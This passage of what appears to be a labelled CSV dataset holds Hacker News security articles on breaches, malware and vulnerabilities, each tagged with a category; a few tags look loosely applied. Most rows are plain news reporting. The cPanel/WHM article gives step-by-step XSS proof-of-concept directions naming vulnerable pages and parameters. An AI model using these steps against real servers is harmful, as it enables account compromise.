",Vulnerability
Hacking Google Glass with QR Code to sniff user data,https://thehackernews.com/2013/07/Hacking-Google-Glass-QR-Code.html,"Researchers at mobile security firm Lookout discovered a security flaw in Google Glass which allowed them to capture data without the user's knowledge, when the user merely took a photo that captured a malicious QR code.
Lookout was able to force Google Glass to silently connect to a Wi-Fi access point, which let the researchers view all of the data flowing to and from the device. When combined with an Android 4.0.4 web vulnerability, the hack apparently gave researchers full control of the Glass headset.

The problem was that Google Glass could be told to execute a QR code without the user having to give permission. Because of Glass's limited user interface, Google set up the device's camera to automatically process any QR code in a photograph.

In a video posted on YouTube, Lookout Security described the vulnerability:

""That access point in turn allowed us to spy on the connections Glass made, from web requests to images uploaded to the Cloud."" said Marc Rogers, Lookout.

Lookout disclosed its findings to Google on 16 May. Google filed a bug report with the Glass development team and the issue was fixed by version XE6, released on 4 June.

",Malware
Experian Breach: 15 Million T-Mobile Customers' Data Hacked,https://thehackernews.com/2015/10/experian-tmobile-hack.html,"If you applied for financing from T-Mobile anytime between 1 September 2013 and 16 September 2015, you have been HACKED! – even if you never had T-Mobile service.

T-Mobile's credit application processor Experian was hacked, potentially exposing the highly personal information of more than 15 million people in the United States.

The stolen information includes names, addresses, phone numbers and – most unfortunately – Social Security numbers.

The massive data breach was first discovered in mid-September and has now been confirmed by T-Mobile CEO John Legere.

According to Legere, Hackers successfully obtained Millions of people's private information through Experian, one of the world's largest credit check companies that process T-Mobile's credit applications.

Both customers and people who submitted to a T-Mobile credit check (but either canceled or never activated their T-Mobile service) between September 1, 2013, and September 16, 2015, are most at risk.

Now, Hackers have their hands on two years worth of sensitive identifying information that T-Mobile uses to check credit ratings, which could possibly make the rounds on the black market.

The Stolen victims' data includes:

Residential addresses
Social Security numbers
Birth Dates
Driver's License number
Passport number
Military I.D. numbers
and more
Some of the pilfered data was encrypted, according to Experian, which is taking responsibility for the breach. However, T-Mobile claims that the ""encryption may have been compromised.""

The telecommunication giant said that no credit or debit card numbers of its customers were stolen in the breach. However, one could imagine that with this trove of stolen data, anyone can easily steal someone's identity without trying too terribly hard.

Why Losing a Social Security Number is more dangerous than Losing a Payment Card?

It sounds good to ears hearing that hackers did not access credit or debit card numbers during the data breach, but losing your Social Security number is actually worse than losing your payment cards.

If hackers make use of your credit or debit card, you have a good option to stop them – Report fraudulent purchases when you see your bill.

You hardly lose anything, as you'll get your money back as well as your financial institution will send you a new payment card.

But once your Social Security number stolen, Hackers can screw you up because, you can almost never change your Social Security number.

Identity thieves can apply for credit cards and run up debt in your name. They can ruin your credit score, even before you come to know that your information is stolen and is misused.

The more worrisome part is that there's not a whole lot victims can do to prevent further damage beyond one thing: Freeze your credit report.

This incident marks the latest high-profile data breach and adds itself to the list that includes OPM losing 4 million federal workers' personal data, health insurer Excellus losing 10 million health records exposed and last year's Target and Home Depot data breach.

T-Mobile is very Angry

Legere said he is reviewing T-Mobile's relationship with the company as a result of the massive breach.
""Obviously I am incredibly angry about this data breach, and we will institute a thorough review of our relationship with Experian, but right now my top concern and first focus is assisting any and all consumers affected.""
T-Mobile and Experian are offering two years of free credit monitoring to their affected customers. Now, let's wait and watch how worse this hack goes.

",Cyber_Attack
"Incredible! Someone Just Hacked 10,000 Routers to Make them More Secure",https://thehackernews.com/2015/10/hack-wifi-router.html,"Has anyone ever heard about a ""Vigilante-style Hacker,"" who hacks every possible system to make them more Secure?

No. It's not funny, neither a movie story:

Reportedly, someone is hacking thousands unprotected Wi-Fi routers everywhere and apparently forcing owners to make them more Secure.

Security firm Symantec has discovered a new malware, dubbed ""Linux.Wifatch"" a.k.a ""Ifwatch,"" infected more than 10,000 vulnerable 'Internet of Things' devices, and spreading quickly.

However, Linux.Wifatch not only removes malicious backdoor but also encourages users to update their weak passwords.

How Does Linux.Wifatch Work?

Once a device is infected, the Linux.Wifatch malware connects to a peer-to-peer network that is being used to distribute threat updates.

Linux.Wifatch's code does not deploy any payload for malicious activities, such as to carry out DDoS attacks, rather it detects and remediates the known families of malicious codes present on the compromised devices.

After Installation, whenever 'Linux.Wifatch' detects any malicious activity or malware on the vulnerable device; it asks the device owners to:
Change their default password,
Close potentially vulnerable Telnet port immediately
However, the malware does not appear to be used for malicious purposes yet, but researchers have found that the malware contains a number of backdoors that can be used by its developer to carry out malicious tasks remotely.

Linux.Wifatch, written in the Perl programming language, was first discovered in November last year by an independent malware researcher, who calls himself ""Loot Myself.""

The researcher shared complete details of the malware in a two-part series on his blog with the same name - ""Loot Myself: Malware Analysis and Botnet tracking.""

In 2014, the researcher sensed unwanted activities in his home router and for which he could not find the location as well.

This curiosity made him explore more, and while digging deeper he decoded the roots of the malware- THE SOURCE CODE, written in Perl.

After going through the source code, the researcher points out that the code is not obfuscated; it just uses compression and minification of the source code.

Further, the researcher mentions about an unusual activity:
""To any NSA and FBI agents reading this: please consider whether defending the U.S. Constitution against all enemies, foreign or domestic, requires you to follow Snowden's example."" he says in the blog post.

How to Secure Your Wireless Router?

Though the risk associated with Linux.Wifatch is low, the security researchers at Symantec are keeping an eye on its activities.

They say with such a ""Malware-for-Good,"" it apparently creates a 'Benefit of the Doubt' as the author's intentions are unknown.

The case hasn't closed yet, as Symantec says, ""It pays to be suspicious.""

Essential Security Measures

Symantec had previously issued measures to get rid of this Malware. Here below you can read a few important recommendation in short:
Use a Firewall to block all incoming connections
Enforce a password policy
Make sure to offer the lowest level of privileges to programs
Disable AutoPlay
Turn off file sharing if not needed

How to Remove 'Linux.Wifatch' Malware?

If you have also detected such activity on your home routers, you can get rid of the risk associated with it by:
Resetting your device; as it will remove the Linux.Wifatch malware
Keeping your device's software and firmware up to date
Changing any default passwords that may be in use
Resetting your passwords routinely

More Ways to Protect your Network

Further, you can protect your Wireless network by following few measures, that assure your security, like:
Turning on your wireless router's encryption setting
Turn the Firewall On
Change Default Passwords
Change the default ""SSID"" (service set identifier) of your devic
Turn Network Name Broadcasting Off
Use the MAC Address Filter

",Malware
Nasty Covert Redirect Vulnerability found in OAuth and OpenID,https://thehackernews.com/2014/05/nasty-covert-redirect-vulnerability.html,"After Heartbleed bug, a security flaw in widely used open-source software OpenSSL that puts countless websites at risk, another vulnerability has been found in popular authentication software OpenID and authorization software OAuth.

Wang Jing, a Chinese mathematics Ph.D student at the Nanyang Technological University in Singapore, found that the OAuth and OpenID open source login tools are vulnerable to the ""Covert Redirect"" exploit.

The login tools 'OAuth' and 'OpenID' protocols are the commonly used open standard for authorization. OAuth designed as a way for users to sign in or sign up for other services using an existing identity of a site such as Google, Facebook, Microsoft or Twitter, whereas OpenID is a decentralized authentication system for the Internet that allows users to log in at websites across the internet with same digital identity.

The Covert Redirect vulnerability could affect those who use 'OAuth' and 'OpenID' protocols to 'login' to the websites such as Facebook, Google, Yahoo, LinkedIn, Microsoft, VK, Mail.Ru, PayPal, GitHub and many others.

WHAT MAKES IT EVEN MORE DANGEROUS?
The ""Covert Redirect"" flaw masquerade as a login popup from the affected sites that could allow an attacker to steal personal data from users and redirect them to a website of the attacker's choice, which could potentially further compromise the victim.

By clicking on a malicious phishing link will get a popup window in Facebook, asking them to authorize the app and to hoax the user into giving up their information instead on legitimate websites, the Covert Redirect flaw uses the real site address for authentication.

Once the user login, the attacker could get the personal data, which in the case of Facebook, could include the email address, birth date, contacts, work history, etc.

But, if in case ""the token"" has greater privilege, the attacker could obtain more sensitive information including the mailbox, friends list, online presence and most possibly even operate and control the user's account.
In a blog post yesterday Jing explained, for OAuth 2.0, the attacks could risk ""the token"" of the site users and whenever users authorize the login the attacker could then use that to access users' private information. In case of OpenID, the attacker could get users' information directly, as it's immediately transferred from the provider upon request.

However, this isn't the first time the issue has been raised and the root cause is a lack of token whitelisting in OAuth 2.0.

RESPONSE FROM INTERNET GIANTS
Facebook uses OAuth and something similar to OpenID. When he reported the Facebook about the vulnerability, Facebook said ""they understand the risks associated with OAuth 2.0. However, short of forcing every single application on the platform to use a whitelist, [fixing the vulnerability] isn't something that can be accomplished in the short term.""

Facebook isn't the only site affected, Jing reported the vulnerability to some more companies who use both OAuth and OpenID including Google, LinkedIn, Microsoft and Yahoo to discuss the problem.

Google uses OpenID and told Jing, ""they are aware of the problem and are tracking it at the moment,"" whereas LinkedIn told they have acknowledged the problem back in march and ""published a blog post on how [they] intend to address [the problem].""

Microsoft replied after they investigated the matter and concluded that the vulnerability exists in the domain of a third-party which is different from the one Jing reported and recommended him to report the issue to the third-party instead.

Yahoo did not reply months after he reported.

""They have little incentive to fix the problem,"" Jing wrote regarding the companies, ""One concern is the cost and the other is that in their view, the host company is responsible for making the attacks appear more credible; therefore, it is not solely their problem.""

HOW TO FIX COVERT REDIRECT VULNERABILITY
According to Jing, there is no speedy fix for the vulnerability. ""In the real world, a large number of third-party applications do not do this due to various reasons. This makes the systems based on OAuth 2.0 or OpenID highly vulnerable,"" Jing wrote.

Wang believes it's unlikely that this flaw will be patched any time soon. He says neither the authentication companies such as Google, Microsoft, Facebook, nor the client companies are taking responsibility for fixing the issue.

However, to take advantage of Covert redirect vulnerability, it requires interaction from users i.e. Victim has to click on a link or visit a malicious website, and then they have to click on a Facebook login button and agree to authorize the login and release of information.

So far, the security experts hasn't labelled this vulnerability as a major security flaw as Heartbleed, but still it's a threat.

",Malware
"Vigilante Hackers Aim to Hijack 200,000 Routers to Make Them More Secure",https://thehackernews.com/2016/02/hacking-wireless-router.html,"The same ""Vigilante-style Hacker,"" who previously hacked more than 10,000 routers to make them more secure, has once again made headlines by compromising more than 70,000 home routers and apparently forcing their owners to make them secure against flaws and weak passwords.

Just like the infamous hacking group Lizard Squad, the group of white hat hackers, dubbed the White Team, is building up a sizeable botnet consisting of hundreds of thousands of home routers, but for a good purpose.

Lizard Squad, the same group responsible for Sony PlayStation Network and Microsoft Xbox Live outages, uses their botnets to launch DDoS (Distributed Denial of Service) attacks against target websites to flood them with traffic and knock them offline.

Hacking Routers to Make them More Secure

Challenged by Lizard Squad's maliocus work, the White Team of vigilante hackers built their own peer-to-peer botnet that infects routers to close off vulnerabilities, such as:
Weak default passwords
DNS poisoning
Unauthorised access (backdoor)
Disabled firewalls
Their malware, dubbed ""Linux.Wifatch"" a.k.a ""Wifatch"" that has been used by the team since last year continues to be updated and has been open-sourced on Github.

The malware, first discovered in November 2014 by an independent malware researcher ""Loot Myself"" and analysed by Symantec last year, now includes more programs to remove other malicious software and backdoors already on the system.

The White Team has access to around 70,000 devices, according to Symantec, who is continuously watching over the team's botnet.

Good Malware to Fight Bad Malware

Lizard Squad sizable botnet contained somewhere between 120,000 and 150,000 bots, a Lizard spokesperson told Forbes, claiming that their botnet includes not just home routers and PCs, but smart refrigerators, smart TVs and other smart home devices as well.

The White Team aims at hacking and protecting between 150,000 and 200,000 devices from Lizard Squad attacks, thereby removing the rogue gang from people's homes.

However, the team of vigilante hackers face some hurdles, especially when working with the Wifatch malware, which is often too big to install on smaller routers.
""The goal is to use (most) of the 60,000 nodes we have to connect to the hundreds of thousands of boxes that are too small for our normal disinfector and disinfect them remotely,"" the hacker collective told the publication over encrypted email.
Since there are so many vulnerable devices that can be hacked with little or no effort, these vigilante hackers aren't answer to this widespread problem. They can only help minimize the issue.

The White Team is not the only team of vigilante hackers trying to secure the Internet. Just last week, a hacker replaced a malware with antivirus software. An anonymous hacker was found replacing Dridex, the most active banking malware, with the copies of Avira security software.

",Vulnerability
Update‌ ‌Your Chrome Browser to Patch Yet Another 0-Day Exploit‌ed ‌in‌-the‌-Wild,https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html,"Google has rolled out yet another update to Chrome browser for Windows, Mac, and Linux to fix four security vulnerabilities, including one zero-day flaw that's being exploited in the wild.
Tracked as CVE-2021-30554, the high severity flaw concerns a use after free vulnerability in WebGL (aka Web Graphics Library), a JavaScript API for rendering interactive 2D and 3D graphics within the browser.
Successful exploitation of the flaw could mean corruption of valid data, leading to a crash, and even execution of unauthorized code or commands.
The issue was reported to Google anonymously on June 15, Chrome technical program manager Srinivas Sista noted, adding the company is ""aware that an exploit for CVE-2021-30554 exists in the wild.""
While it's usually the norm to limit details of the vulnerability until a majority of users are updated with the fix, the development comes less than 10 days after Google addressed another zero-day vulnerability exploited in active attacks (CVE-2021-30551).
CVE-2021-30554 is also the eighth zero-day flaw patched by Google since the start of the year.
""I'm happy we are getting better at detecting these exploits and the great partnerships we have to get the vulnerabilities patched, but I remain concerned about how many are being discovered on an ongoing basis and the role of commercial providers,"" tweeted Shane Huntley, Director of Google's Threat Analysis Group, on June 8.
Chrome users are recommended to update to the latest version (91.0.4472.114) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.

",Malware
Creator of MegalodonHTTP DDoS Botnet Arrested,https://thehackernews.com/2016/01/MegalodonHTTP-DDoS-Botnet.html,"Last month, the Norway police arrested five hackers accused of running the MegalodonHTTP Remote Access Trojan (RAT).

The arrests came as part of the joint operation between Norway's Kripos National Criminal Investigation Service and Europol, codenamed ""OP Falling sTAR.""

According to the United States security firm, all the five men, aged between 16 and 24 years and located in Romania, France, and Norway, were charged with possessing, using and selling malware.


One of those arrested also confessed to running his own web store where he sold malware, designed to take full control of target computers, harvesting passwords, and other personal data.

Moreover, the malware can be used to hijack webcams in real-time, and steal documents, images, and videos as well.
""Damballa's threat discovery center worked in cooperation with the Norway police over the last few months to track and identify the author of the malware dubbed MegalodonHTTP,"" threat researcher Loucif Kharouni wrote in a blog post.

""We are not at liberty to divulge the MegalodonHTTP author's real identity, but we can confirm that the person behind the handle Bin4ry is no longer active or doing business.""
However, the researchers said MegalodonHTTP was not very powerful; in fact, it was ""quite simple"" and indicated the poor coding skills of its author, requiring .NET to be installed on infected systems.

MegalodonHTTP Remote Access Trojan

MegalodonHTTP included a number of features as listed below:
Binary downloading and executing
Distributed Denial of service (DDoS) attack methods
Remote shell
Antivirus Disabling
Crypto miner for Bitcoin, Litecoin, Omnicoin and Dogecoin
However, MegalodonHTTP is not an advanced malware, according to the researchers, and its author wanted to develop modular malware with a number of malicious features, but remained ""as small as possible, around 20Kb.""

This malware was sold on amateur hacker hangout HackForum as well as on the bin4ry[dot]com website. In fact, before his arrest last month, the hacker was still selling the malware.

Just last week, Europol in cooperation with Romanian law enforcement authorities arrested eight criminal hackers suspected of being part of an international criminal gang that pilfered cash from ATMs using malware.

",Malware
Russian Hackers Targeted Ukraine Authorities With Supply-Chain Malware Attack,https://thehackernews.com/2021/02/russian-hackers-targeted-ukraine.html,"Ukraine is formally pointing fingers at Russian hackers for hacking into one of its government systems and attempting to plant and distribute malicious documents that would install malware on target systems of public authorities.
""The purpose of the attack was the mass contamination of information resources of public authorities, as this system is used for the circulation of documents in most public authorities,"" the National Security and Defense Council of Ukraine (NSDC) said in a statement published on Wednesday.
The NSDC's National Coordination Center for Cybersecurity (NCCC) termed it a supply chain attack aimed at the System of Electronic Interaction of Executive Bodies (SEI EB), which is used to distribute documents to officials.
Calling it a work of threat actors with ties to Russia, the NSDC said the decoy documents came embedded with a macro that, when opened, stealthily downloaded malicious code to control the compromised system remotely.
""The methods and means of carrying out this cyberattack allow to connect it with one of the hacker spy groups from the Russian Federation,"" the agency said.
While the NSDC did not take any names, it's not immediately clear when the attack took place, how long the breach lasted, and if any of the infections were successful.
The development comes two days after the NSDC and NCCC warned of massive distributed denial-of-service (DDoS) attacks singling out websites belonging to the security and defense sector, including that of the NSDC.
""It was revealed that addresses belonging to certain Russian traffic networks were the source of these coordinated attacks,"" the NSDC said, while stopping short of directly accusing the country.
The NCCC also stated the ""attackers used a new mechanism of cyberattacks"" that involved using a previously undocumented strain of malware that was planted on vulnerable Ukrainian government servers, and in the process, coopted the devices into an attacker-controlled botnet.
The infected systems were then used to carry out further DDoS attacks on other Ukrainian sites, the agency said.

",Cyber_Attack
A Rust-based Buer Malware Variant Has Been Spotted in the Wild,https://thehackernews.com/2021/05/a-new-buer-malware-variant-has-been.html,"Cybersecurity researchers on Monday disclosed a new malspam campaign distributing a fresh variant of a malware loader called ""Buer"" written in Rust, illustrating how adversaries are constantly honing their malware toolsets to evade analysis.
Dubbed ""RustyBuer,"" the malware is propagated via emails masquerading as shipping notices from DHL Support, and is said to have affected no fewer than 200 organizations across more than 50 verticals since early April.
""The new Buer variant is written in Rust, an efficient and easy-to-use programming language that is becoming increasingly popular,"" Proofpoint researchers said in a report shared with The Hacker News. ""Rewriting the malware in Rust enables the threat actor to better evade existing Buer detection capabilities.""
First introduced in August of 2019, Buer is a modular malware-as-a-service offering that's sold on underground forums and used as a first-stage downloader to deliver additional payloads, providing initial compromise of targets' Windows systems and allowing the attacker to establish a ""digital beachhead'' for further malicious activity. A Proofpoint analysis in December 2019 characterized Buer as a malware coded entirely in C, using a control panel written in .NET Core.
In September 2020, the operators behind Ryuk ransomware were found using the Buer malware dropper as an initial access vector in a spam campaign directed against an unnamed victim. Then a phishing attack uncovered in February 2021 employed invoice-themed lures to entice users into opening Microsoft Excel documents that contain malicious macros, which download and execute the Buer dropper on the infected system.
Buer Loader initial POST request
The new maldoc campaign follows a similar modus operandi, using DHL-themed phishing emails to distribute weaponized Word or Excel documents that deliver the Rust variant of Buer loader. The ""unusual"" departure from the C programming language means Buer is now capable of circumventing detections that are based on features of the malware written in C.
""The rewritten malware, and the use of newer lures attempting to appear more legitimate, suggest threat actors leveraging RustyBuer are evolving techniques in multiple ways to both evade detection and attempt to increase successful click rates,"" the researchers said.
Given the fact that Buer acts as a first-stage loader for other kinds of malware, including Cobalt Strike and ransomware strains, Proofpoint researchers estimate that cyber attackers may be using the loader to gain a foothold into target networks and sell the access to other actors in what's an ""access-as-a-service"" scheme.
""When paired with the attempts by threat actors leveraging RustyBuer to further legitimize their lures, it is possible the attack chain may be more effective in obtaining access and persistence,"" the researchers concluded.
RustyBuer is the latest in a series of efforts aimed at adding an extra layer of opacity, as cybercriminals are paying increased attention to new programming languages in hopes that doing so will enable the attack code to slip past security defenses. Earlier this year, a malware called ""NimzaLoader"" was identified as written in Nim programming language, followed by a macOS adware named ""Convuster"" that was based on Rust.

",Malware
"Critical ""Same Origin Policy"" Bypass Flaw Found in Samsung Android Browser",https://thehackernews.com/2017/12/same-origin-policy-bypass.html,"A critical vulnerability has been discovered in the browser app comes pre-installed on hundreds of millions of Samsung Android devices that could allow an attacker to steal data from browser tabs if the user visits an attacker-controlled site.

Identified as CVE-2017-17692, the vulnerability is Same Origin Policy (SOP) bypass issue that resides in the popular Samsung Internet Browser version 5.4.02.3 and earlier.

The Same Origin Policy or SOP is a security feature applied in modern browsers that is designed to make it possible for web pages from the same website to interact while preventing unrelated sites from interfering with each other.

In other words, the SOP makes sure that the JavaScript code from one origin should not be able to access the properties of a website on another origin.
The SOP bypass vulnerability in the Samsung Internet Browser, discovered by Dhiraj Mishra, could allow a malicious website to steal data, such as passwords or cookies, from the sites opened by the victim in different tabs.
""When the Samsung Internet browser opens a new tab in a given domain (say, google.com) through a Javascript action, that Javascript can come in after the fact and rewrite the contents of that page with whatever it wants,"" researchers from security firm Rapid7 explained.
""This is a no-no in browser design since it means that Javascript can violate the Same-Origin Policy, and can direct Javascript actions from one site (controlled by the attacker) to act in the context of another site (the one the attacker is interested in). Essentially, the attacker can insert custom Javascript into any domain, provided the victim user visits the attacker-controlled web page first.""
Attackers can even snag a copy of your session cookie or hijack your session and read and write webmail on your behalf.

Mishra reported the vulnerability to Samsung, and the company replied that ""the patch is already preloaded in our upcoming model Galaxy Note 8, and the application will be updated via Apps store update in October.""

Meanwhile, Mishra, with the help of Tod Beardsley and Jeffrey Martin from Rapid7 team, also released an exploit for Metasploit Framework.

Rapid7 researchers have also published a video demonstrating the attack.

Since the Metasploit exploit code for the SOP bypass vulnerability in the Samsung Internet Browser is now publicly available, anyone with less technical knowledge can use and exploit the flaw on a large number of Samsung devices, most of which are still using the old Android Stock browser.

",Vulnerability
cPanel and WHM Multiple Cross Site Scripting Vulnerabilities,https://thehackernews.com/2012/12/cpanel-and-whm-multiple-cross-site.html,"cPanel is a Unix based fully featured popular web based hosting account control panel that helps webmasters to manage their domains through a web browser. The latest version of cPanel & WHM is 11.34, which is vulnerable to multiple cross site scripting.

During my bug hunting process, today I (Christy Philip Mathew) discovered some serious XSS vulnerabilities in official cPanel, WHM. It also impact on the latest version of software.

This week, Rafay Baloch (Pakistani white hat hacker) also discovered another reflective cross site scripting vulnerability in cPanel at manage.html.

The interesting part would be the whole demonstration I done with the Official cPanel Demo located at https://cpanel.net/demo/ location, can be accessed via demo user & password provided by cPanel website itself i.e. https://demo.cpanel.net:2086/login/?user=demo&pass=demo

These vulnerabilities actually affect the logged in users. Proof of Concept and screenshots are as shown below:

Cross Site scripting in Official WHM
Login to WHM via : https://demo.cpanel.net:2086/login/?user=demo&pass=demo
In left panel, click 'Server Configuration' and then 'Basic cPanel & WHM Setup' and new page will ask user to fill 4 Nameservers values regarding domain.
Enter alert JavaScript in any of these four text boxes, as shown below and Submit




Cross Site scripting in Official cPanel
Access the Official Cpanel Demo at https://x3demob.cpx3demo.com:2082/login/?user=x3demob&pass=x3demob
Once logged in , access Bandwidth Transfer Detail (detailbw.html), and inject JavaScript in parameter ""domain"" or one can access this URL.



Cross Site scripting in WebMail server
Similar way, access demo Webmail via URL : https://x3demob.cpx3demo.com:2082/xferwebmail/
Once logged in XSS Vulnerable URL is : Click Here
Here on page clientconf.html , the parameter ""acct"" is not filtered properly , as shown



More Details

Product: Cpanel & WHM
Security-Risk: High
Remote-Exploit: yes
Vendor-URL: https://www.cpanel.net
Affected Products: Cpanel's Latest Version
Solution: Proper input sanitisation.
Discovered by: Christy Philip Mathew, Security researcher @ The Hacker News
Mohit Kumar - Founder and Editor-in-Chief of 'The Hacker News'. Cyber Security Analyst, Information Security Researcher, Developer and Part-Time Hacker. (Google+ Profile)


",Vulnerability
Critical ThroughTek SDK Bug Could Let Attackers Spy On Millions of IoT Devices,https://thehackernews.com/2021/08/critical-throughtek-sdk-bug-could-let.html,"A security vulnerability has been found affecting several versions of ThroughTek Kalay P2P Software Development Kit (SDK), which could be abused by a remote attacker to take control of an affected device and potentially lead to remote code execution.
Tracked as CVE-2021-28372 (CVSS score: 9.6) and discovered by FireEye Mandiant in late 2020, the weakness concerns an improper access control flaw in ThroughTek point-to-point (P2P) products, successful exploitation of which could result in the ""ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality.""
""Successful exploitation of this vulnerability could permit remote code execution and unauthorized access to sensitive information, such as to camera audio/video feeds,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) noted in an advisory.
There are believed to be 83 million active devices on the Kalay platform. The following versions of Kalay P2P SDK are impacted -
Versions 3.1.5 and prior
SDK versions with the nossl tag
Device firmware that does not use AuthKey for IOTC connection
Device firmware using the AVAPI module without enabling DTLS mechanism
Device firmware using P2PTunnel or RDT module
The Taiwanese company's Kalay platform is a P2P technology that allows IP cameras, light cameras, baby monitors, and other internet-enabled video surveillance products to handle secure transmission of large audio and video files at low latency. This is made possible through the SDK – an implementation of the Kalay protocol – that's integrated into mobile and desktop apps and networked IoT devices.
CVE-2021-28372 resides in the registration process between the devices and their mobile applications, specifically concerning how they access and join the Kalay network, enabling attackers to spoof a victim device's identifier (called UID) to maliciously register a device on the network with the same UID, causing the registration servers to overwrite the existing device and route the connections to be mistakenly routed to the rogue device.
""Once an attacker has maliciously registered a UID, any client connection attempts to access the victim UID will be directed to the attacker,"" the researchers said. ""The attacker can then continue the connection process and obtain the authentication materials (a username and password) needed to access the device. With the compromised credentials, an attacker can use the Kalay network to remotely connect to the original device, access AV data, and execute RPC calls.""
However, it's worth pointing out that an adversary would require ""comprehensive knowledge"" of the Kalay protocol, not to mention obtain the Kalay UIDs through social engineering or other vulnerabilities in APIs or services that could be taken advantage of to pull off the attacks.
To mitigate against any potential exploitation, it's recommended to upgrade the Kalay protocol to version 3.1.10 as well as enable DTLS and AuthKey to secure data in transit and add an additional layer of authentication during client connection.
The development marks the second time a similar vulnerability has been disclosed in ThroughTek's P2P SDK. In June 2021, CISA issued an alert warning of a critical flaw (CVE-2021-32934) that could be leveraged to access the camera audio and video feeds through improper means.

",Vulnerability
Advance Phishing Attacks using HTML5 Fullscreen API,https://thehackernews.com/2012/10/advance-phishing-attacks-using-html5.html,"Do your ever use YouTube Instant Search engine (a really fast way to search YouTube) ? That was developed by a 21 years old developer name - Feross Aboukhadijeh in 2012. Chad Hurley, CEO and co-founder of YouTube, was so impressed that he immediately offered him a job at YouTube. He a web developer, designer, computer security researcher.

Recently he has developed an attack concept that exploits the fullscreen application programming interface in HTML5 in order to carry out advance phishing attacks. The HTML5 ""Fullscreen API"" allow web developers to display web contents in full-screen mode, that is, filling-up the display screen completely.

Fullscreen API is perhaps known for its spoofing potential, leading to major browser vendors canvassing for the implementation of an overlay to notify users when full-screen is activated.

Feross demonstrated how the Fullscreen API can aid phishing attack portals appear rather innocuous to the end users, by utilizing the API to hide the interface elements of the users' browser, thereby preventing the user from knowing the URL of the actual website visited.

Unfortunately, Apple's Safari browser, version 6.01 and later, provides little or no sign that full-screen mode has been activated. Google Chrome, version 22 and later, offers some notice, though as Aboukhadijeh observes, the notification is ""pretty subtle and easily missed."" Mozilla Firefox, version 10 and later, alerts the user with a conspicuous notification.

Aboukhadijeh's attack depends on social engineering rather than flawed code. There are a variety of ways to deceive people online and the only way to mitigate that risk is constant vigilance. The demo's source code is also available on GitHub.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Vulnerability
"Apple : 0 | Flashback trojan : 1 , Apple admits malware defeat",https://thehackernews.com/2012/06/apple-0-flashback-trojan-1-apple-admits.html,"Apple : 0 | Flashback trojan : 1 , Apple admits malware defeat

Apple has quietly removed a statement from its website that the Mac operating system isn't susceptible to viruses. Apple released a patch to a Java vulnerability that lead to the infection of roughly 600,000 Macs with the Flashback Trojan earlier this year, there were claims weeks later from security researchers that hundreds of thousands of Macs were still infected.

Apple is one of the single software companies that hasn't really faced the problem of viruses, for years claiming their operating system is the most secure among all.

The specific language about the operating system, ""It doesn't get PC viruses"" was replaced with ""It's built to be safe."" But now, Apple may be taking security threats more seriously.

Apple is introducing a new app security measure called Gatekeeper in the upcoming release of Mountain Lion, the latest version of Mac OS X. The majority of malware might still be floating around in the Windows world, but it's still important to remember that no OS is bulletproof once people start shooting at it. You can never be too careful.

",Malware
Cryptolocker Malware learned to replicate itself through removable USB drives,https://thehackernews.com/2014/01/Cryptolocker-malware-usb-drive-worm.html,"In the category of Ransomware Malware, a nasty piece of malware called CRYPTOLOCKER is on the top, that threatened most of the people around the world, effectively destroying important files of the victims.

Cryptolocker, which strongly encrypts victims' hard drives until a ransom is paid, is now again back in action to haunt your digital life with an additional feature.
Until now, CryptoLocker has been spread via spam email, with victims tempted to download an attachment or click on a link to a malicious website, but now it can spread itself as a worm through removable USB drives.

Security Researchers at Trend Micro have recently reported a new variant of Cryptolocker which is capable of spreading through removable USB drives.

As Previously reported by our Security experts at The Hacker News, Cryptolocker is a malware which locks your files and demand a ransom to release it. The files are encrypted so removing the malware from the system doesn't unlock your files. The only way to get your files decrypted is to pay a demanded ransom amount to the criminals.

This new cryptolocker's version is detected as WORM_CRILOCK. A, and can infect the computers by posing as key generator or activators for paid software like Adobe Photoshop, Microsoft Office on Torrent websites.

If CryptoLocker has already encrypted your files, then it will display a message demanding payment. Once installed on a system, it can replicate itself onto a USB drive and spread further and also if that infected system is connected to a network, the Cryptolocker work can look for other connected drives to infect them as well.

Other malware has employed similar tactics in the past, but CryptoLocker's encryption is much more secure and is currently not possible to crack. But the new Cryptolocker didn't use DGA (domain generation algorithm), but instead relied on hardcoded command & control center details.
Further analysis of WORM_CRILOCK reveals that it has a stark difference compared to previous variants. The malware has foregone domain generation algorithm (DGA). Instead, its command-and-control (C&C) servers are hardcoded into the malware. Hardcoding the URLs makes it easier to detect and block the related malicious URLs. DGA, on the other hand, may allow cybercriminals to evade detection as it uses a large number of potential domains. This could mean that the malware is still in the process of being refined and improved upon. Thus, we can expect latter variants to have the DGA capability.
Recommendations for users to defend against such threats:
Users should avoid using P2P i.e. Torrent sites to get pirated copies of software and stick with official or reputable sites.
Users should also be extremely careful about plugging USB drives into their computers. If you found one lying around, don't plug it in to see what may be on it.

",Malware
Smart LED Lightbulbs Can be Hacked too; Vulnerability exposes Wi-Fi Passwords,https://thehackernews.com/2014/07/smart-led-lightbulbs-can-be-hacked-too.html,"Until now, we have seen how different smart home appliances such as refrigerators, TVs and routers could expose our private data, but now you can add another worry to your list —LED light bulb. Don't laugh! It's true.

Researchers at UK security firm Context have formulated an attack against the Wi-Fi connected lightbulbs, which is available to buy in the UK, that exposes credentials of the Wi-Fi network, it relies on to operate, to anyone in accessibility to one of the LED devices.

Security vulnerabilities found in the LIFX Smart light bulbs, that can be controlled by the iOS-based and Android-based devices, could allow an attacker to gain access to a ""master bulb"" and with the help of that they could control all connected bulbs across that network, and help them expose user network configurations.

Along with other Internet of Things (IoTs) devices, the smart bulbs are part of a rising trend in which the manufacturers enclose computing and networking capabilities to their devices so that it can be easily controlled remotely by using a smartphone, computer, and other network-connected device. LIFX ran a popular fundraising campaign in 2012 on Kickstarter, raising more than $1.3 million (£760,000) which was more than 13 times the original goal of $100,000 (£59,000).

But before delivering the smart bulbs to home consumers, the company failed to properly encrypt all data in the wireless protocols it used when enrolling new bulbs on the network. The oversight allowed the researchers to craft messages to the networked bulbs within about 30 meters, forcing them to obtain security credentials used to secure the connected Wi-Fi network.
The WiFi network credentials are captured in specific packets by passing from one networked bulb to another over a mesh network powered by 6LoWPAN, a wireless specification built on top of the IEEE 802.15.4 standard. While the wifi details were encrypted by the Advanced Encryption Standard (AES), the researchers were able to obtain the secret key shared between bulbs on the network, making it easy for the attacker to decipher the payload.
